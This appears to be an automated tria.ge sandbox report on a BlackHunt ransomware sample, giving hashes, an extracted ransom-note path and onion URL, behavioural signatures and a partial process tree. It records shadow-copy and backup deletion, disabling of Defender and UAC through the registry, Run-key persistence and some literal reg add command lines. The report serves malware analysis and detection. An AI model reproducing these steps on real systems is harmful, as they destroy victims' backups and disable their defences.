Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
183s -
max time network
213s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:45
Static task
static1
Behavioral task
behavioral1
Sample
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
Resource
win10v2004-20231215-en
General
-
Target
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe
-
Size
707KB
-
MD5
393bfd6e375b284446bf8d0d451bd827
-
SHA1
3f6ecf2636c3acd030f8a53ff1745984907bd835
-
SHA256
72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c
-
SHA512
e61d410d016254cb7e57bc6821e341c07a9277c656f34afa948a441c7d227730c7ef39acff4544f372a0ed17334e7b8123da21671f18697b2956bc32d67bd0e6
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1J83vnh:6uaTmkZJ+naie5OTamgEoKxLWMfh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4996 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1532 bcdedit.exe 4364 bcdedit.exe -
Renames multiple (495) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 4040 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\W: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\A: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\H: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\N: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\T: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\O: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\S: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\G: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\V: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\K: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\L: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\X: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\R: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\Y: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\P: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\I: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\J: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\Z: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\U: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\E: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened (read-only) \??\B: 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 36 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files\dotnet\shared\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\ms.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\ta.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunec.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\PYCC.pf 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_MoveDrop32x32.gif 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\eu.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\et.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\el.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\dotnet\host\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\dotnet\host\fxr\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\mesa3d.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\xalan.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\License.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\meta-index 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11wrapper.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\images\cursors\invalid32x32.gif 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\sound.properties 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\ext.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\tk.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\fa.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\fr.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\sunjce_provider.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\ast.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\ro.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\localedata.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\javaws.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\cmm\GRAY.pf 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\blacklist 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\gu.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunpkcs11.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\mesa3d.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\zlib.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\README.html 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\jaccess.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\trusted.libraries 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_Private.key 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\thaidict.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\7-Zip\Lang\lij.txt 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\javafx-src.zip 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\gstreamer.md 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\jfxrt.jar 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiItalic.ttf 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3140 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1832 vssadmin.exe 2244 vssadmin.exe 408 vssadmin.exe 4592 vssadmin.exe 3020 vssadmin.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon Conhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon Conhost.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeRestorePrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeBackupPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeTakeOwnershipPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeAuditPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeSecurityPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeIncBasePriorityPrivilege 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Token: SeBackupPrivilege 3152 vssvc.exe Token: SeRestorePrivilege 3152 vssvc.exe Token: SeAuditPrivilege 3152 vssvc.exe Token: SeBackupPrivilege 3612 wbengine.exe Token: SeRestorePrivilege 3612 wbengine.exe Token: SeSecurityPrivilege 3612 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2132 wrote to memory of 1512 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 95 PID 2132 wrote to memory of 1512 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 95 PID 2132 wrote to memory of 2812 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 97 PID 2132 wrote to memory of 2812 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 97 PID 2132 wrote to memory of 2064 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 99 PID 2132 wrote to memory of 2064 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 99 PID 2132 wrote to memory of 648 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 100 PID 2132 wrote to memory of 648 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 100 PID 2132 wrote to memory of 4432 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 102 PID 2132 wrote to memory of 4432 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 102 PID 2132 wrote to memory of 824 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 105 PID 2132 wrote to memory of 824 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 105 PID 2132 wrote to memory of 1960 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 106 PID 2132 wrote to memory of 1960 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 106 PID 2132 wrote to memory of 4944 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 109 PID 2132 wrote to memory of 4944 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 109 PID 2132 wrote to memory of 3052 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 111 PID 2132 wrote to memory of 3052 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 111 PID 2132 wrote to memory of 4268 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 113 PID 2132 wrote to memory of 4268 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 113 PID 2132 wrote to memory of 1064 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 115 PID 2132 wrote to memory of 1064 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 115 PID 2132 wrote to memory of 3652 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 116 PID 2132 wrote to memory of 3652 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 116 PID 2812 wrote to memory of 4264 2812 cmd.exe 203 PID 2812 wrote to memory of 4264 2812 cmd.exe 203 PID 1512 wrote to memory of 4028 1512 cmd.exe 119 PID 1512 wrote to memory of 4028 1512 cmd.exe 119 PID 2132 wrote to memory of 884 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 121 PID 2132 wrote to memory of 884 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 121 PID 2132 wrote to memory of 3180 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 127 PID 2132 wrote to memory of 3180 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 127 PID 2132 wrote to memory of 2200 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 126 PID 2132 wrote to memory of 2200 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 126 PID 2132 wrote to memory of 3640 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 124 PID 2132 wrote to memory of 3640 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 124 PID 2132 wrote to memory of 3148 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 130 PID 2132 wrote to memory of 3148 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 130 PID 2132 wrote to memory of 1672 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 131 PID 2132 wrote to memory of 1672 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 131 PID 2132 wrote to memory of 4880 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 137 PID 2132 wrote to memory of 4880 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 137 PID 824 wrote to memory of 4084 824 cmd.exe 176 PID 824 wrote to memory of 4084 824 cmd.exe 176 PID 1960 wrote to memory of 3388 1960 cmd.exe 138 PID 1960 wrote to memory of 3388 1960 cmd.exe 138 PID 4432 wrote to memory of 5056 4432 cmd.exe 135 PID 4432 wrote to memory of 5056 4432 cmd.exe 135 PID 2064 wrote to memory of 4428 2064 cmd.exe 133 PID 2064 wrote to memory of 4428 2064 cmd.exe 133 PID 648 wrote to memory of 2508 648 cmd.exe 134 PID 648 wrote to memory of 2508 648 cmd.exe 134 PID 2132 wrote to memory of 3420 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 148 PID 2132 wrote to memory of 3420 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 148 PID 2132 wrote to memory of 3116 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 147 PID 2132 wrote to memory of 3116 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 147 PID 2132 wrote to memory of 3636 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 140 PID 2132 wrote to memory of 3636 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 140 PID 2132 wrote to memory of 4696 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 144 PID 2132 wrote to memory of 4696 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 144 PID 4268 wrote to memory of 4424 4268 cmd.exe 145 PID 4268 wrote to memory of 4424 4268 cmd.exe 145 PID 2132 wrote to memory of 3964 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 149 PID 2132 wrote to memory of 3964 2132 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe 149 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe"C:\Users\Admin\AppData\Local\Temp\72c87867b063fefaef92e2f322f76f4b00438a3b01d5b2e5275484660655f99c.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2132 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:4264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4428
-
-
-
